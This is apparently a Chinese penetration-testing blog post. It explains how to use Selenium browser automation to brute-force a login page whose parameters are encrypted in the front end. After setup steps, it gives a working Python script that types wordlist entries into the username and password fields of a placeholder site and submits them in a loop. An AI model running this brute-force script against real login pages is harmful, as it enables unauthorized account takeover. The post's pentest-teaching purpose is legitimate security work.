在渗透测试过程中如果请求传参被加密且加密传输方法通过前端js无法定位到的情况下,这种如果是登录口要进行字典枚举测试那就可以通过Selenium浏览器自动化测试框架来进行自动化测试
Selenium安装方法
Selenium 配置
1、安装 Selenium模块: pip install Selenium
2、下载浏览器驱动
Chrome驱动文件下载:https://chromedriver.storage.googleapis.com/index.html?path=2.35/
Firefox 驱动文件下载 :https://github.com/mozilla/geckodriver/releases
Selenium 驱动调用
from selenium import webdriver
## 如果是chrome浏览器的驱动
driver=webdriver.Chrome("G:Anaconda3-5.3.0chromedriver.exe")
##如果是firefox浏览器的驱动
driver=webdriver.Firefox(executable_path="G:Anaconda3-5.3.0geckodriver.exe")
######如果浏览器驱动的目录加入了环境变量的话
## 如果是chrome浏览器的驱动
driver=webdriver.Chrome()
##如果是firefox浏览器的驱动
driver=webdriver.Firefox()
Selenium定位元素
> 定位一个元素 定位多个元素 含义
> find_element_by_id 通过元素id定位
> find_element_by_name 通过元素name定位
> find_element_by_class_name 通过classname进行定位
> find_element_by_tag_name 通过标签定位
> find_element_by_link_text 通过完整超链接定位
> find_element_by_partial_link_text 通过部分链接定位
> find_elements_by_css_selector 通过css选择器进行定位
> find_element_by_xpath 通过xpath表达式定位
渗透测试中案例使用
对某个系统进行渗透测试过程中登录口为了爆破通常进行抓包查看请求包,这里就发现一个请求传参是完全加密的案例
这里可以看到他所有的传参都传给encode参数进行加密处理,这样的话我们要爆破的话就无从下手,当然可以F12跟踪js代码看是否在前端进行交互调用加密方法,如果是要分析学习这类型的可以跳到我前段时间写的文章进行学习:https://www.cnblogs.com/jicklun/p/13944040.html,这里我们重点说下用Selenium框架如何对加密传参的站点进行爆破
我们这里可以看到传参加密了,如果我们单独进行传参请求爆破肯定是行不通的,首先要利用Selenium爆破我们要定位下前端的登录账号密码的元素ID
这里可以看到我们可以很方便的定位到元素主要为input标签里的bofid元素属性,这里就可以构造代码进行编写
代码主要是定位input标签下的bofid元素中的属性值来进行定位输入字典内容,然后通过循环来进行模拟浏览器来进行批量爆破
#coding=utf-8
from selenium import webdriver
import time
import sys
class Haidchr:
def __init__(self):
self.chrome_driver = "chromedriver.exe"
self.driver = webdriver.Chrome(executable_path = self.chrome_driver)
def login(self,pwd):
try:
self.driver.get("https://www.xxxx.com/vision/index.jsp")
username = self.driver.find_element_by_xpath('//input[@bofid="username"]')
username.send_keys(pwd.strip())
password=self.driver.find_element_by_xpath('//input[@bofid="password"]')
password.send_keys(pwd.strip())
self.driver.find_element_by_xpath('//input[@bofid="login"]').click()
print (pwd)
time.sleep(0.5)
except:
print ("NO")
if __name__ == '__main__':
Haid_chr = Haidchr()
for pwd in open(sys.argv[1],'r+'):
Haid_chr.login(pwd)
运行效果如下: